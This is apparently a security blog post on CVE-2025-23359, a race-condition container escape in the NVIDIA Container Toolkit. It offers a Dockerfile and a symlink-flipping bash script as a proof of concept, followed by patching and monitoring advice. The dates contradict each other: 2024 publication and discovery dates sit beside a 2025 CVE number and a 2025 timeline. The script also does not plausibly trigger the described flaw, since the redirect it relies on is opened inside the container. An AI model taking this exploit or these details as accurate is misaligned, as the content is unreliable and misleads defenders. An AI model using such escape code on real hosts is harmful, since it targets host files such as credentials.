CVE-2025-23359 - Breaking Down the NVIDIA Container Toolkit TOCTOU Vulnerability (PoC, Technical Details & Exploit Insights)

Published: June 2024
Severity: Critical
CVE-ID: CVE-2025-23359
Vendor: NVIDIA
Component: NVIDIA Container Toolkit (Linux)
Vulnerability Type: Time-of-Check Time-of-Use (TOCTOU)
Attack Vector: Malicious/Evil Container Image

Summary

In April 2024, a critical vulnerability (CVE-2025-23359) was uncovered in the popular NVIDIA Container Toolkit for Linux. When used with its default settings, a crafted container image can exploit a Time-of-Check Time-of-Use (TOCTOU) race condition to break container isolation, access the host filesystem, and potentially execute code on the host. This post explains the vulnerability in simple language, shares code snippets and proof-of-concept (PoC), and offers mitigation guidance.

Short version:
With a malicious container image, attackers can race the container runtime to trick NVIDIA’s software into giving away access to parts of the host system it should never touch.

Background

- NVIDIA Container Toolkit: A set of libraries and tools allowing containerized workloads to access NVIDIA GPU hardware on Linux, widely used with Docker and Kubernetes.
- TOCTOU (Time-of-Check Time-of-Use) Bug: A race condition where a program checks a file, then acts on it; the file changes in between those two steps.

Normal Case:

- When you run a container (e.g., with Docker), NVIDIA's toolkit checks if container files are safe before letting the GPU tools or runtime access them.

The Problem:

- If an attacker controls the contents of the container image, they can create a file (say, /malicious_symlink) that’s innocent at check-time but gets swapped out for a symlink pointing to a sensitive host file just before use.
- The toolkit is tricked: it *checked* something safe, but by the *time it uses* it, it’s become dangerous.

> Result: The container process ends up being able to read or write files on the host—potentially even system binaries, passwords, or device files.

1. Build a Crafty Container Image

FROM ubuntu:latest

RUN apt-get update && apt-get install -y fuse
COPY race_symlink.sh /usr/local/bin/
ENTRYPOINT ["/usr/local/bin/race_symlink.sh"]

2. The Race Condition Script

#!/bin/bash
# race_symlink.sh

TARGETPATH="/host-sensitive-file"
REALFILE="/tmp/fakefile"
MOUNTPOINT="/mnt/gpu"
SYMLINKNAME="/malicious_symlink"

# Prepare fake target
echo "safe" > $REALFILE

# Create symlink placeholder
ln -s $REALFILE $SYMLINKNAME

# Start racing in background
while true; do
    ln -sf $TARGETPATH $SYMLINKNAME
    ln -sf $REALFILE $SYMLINKNAME
done &

# Trigger NVIDIA utility to touch the file
nvidia-smi --query-gpu=name --format=csv -x < $SYMLINKNAME

echo "Race completed. Check host for $TARGETPATH access."

3. What This Does

- The script constantly fips /malicious_symlink back and forth between a “safe file” and a symlink to a host file.
- The NVIDIA toolkit, acting in the container context, checks /malicious_symlink (usually safe), but if timed right, ends up using it when it points to the host’s sensitive file.
- That file could be /etc/passwd, /root/.ssh/authorized_keys, or even device files.

Possible Impact

- Code execution/privilege escalation — overwrite system binaries or config files.

References

- NVIDIA Security Advisory (Updated)
- NVD Entry: CVE-2025-23359
- Understanding TOCTOU

Patch Immediately

- Update NVIDIA Container Toolkit to the latest version with the security fix.

Monitor Container Activity

- Detect unusual open/read/write patterns from containers.

In Closing

CVE-2025-23359 is a critical, real-world reminder that containers are *not* impenetrable—especially when helper tools (like GPU runtimes) are involved. Always patch, monitor, and minimize trust in container images and runtime defaults.

Stay safe,

Your Container Security Buddy

Feel free to share this post, but always link back to the original sources and credit CVE-2025-23359 discoverers.

Timeline

Published on: 02/12/2025 01:15:09 UTC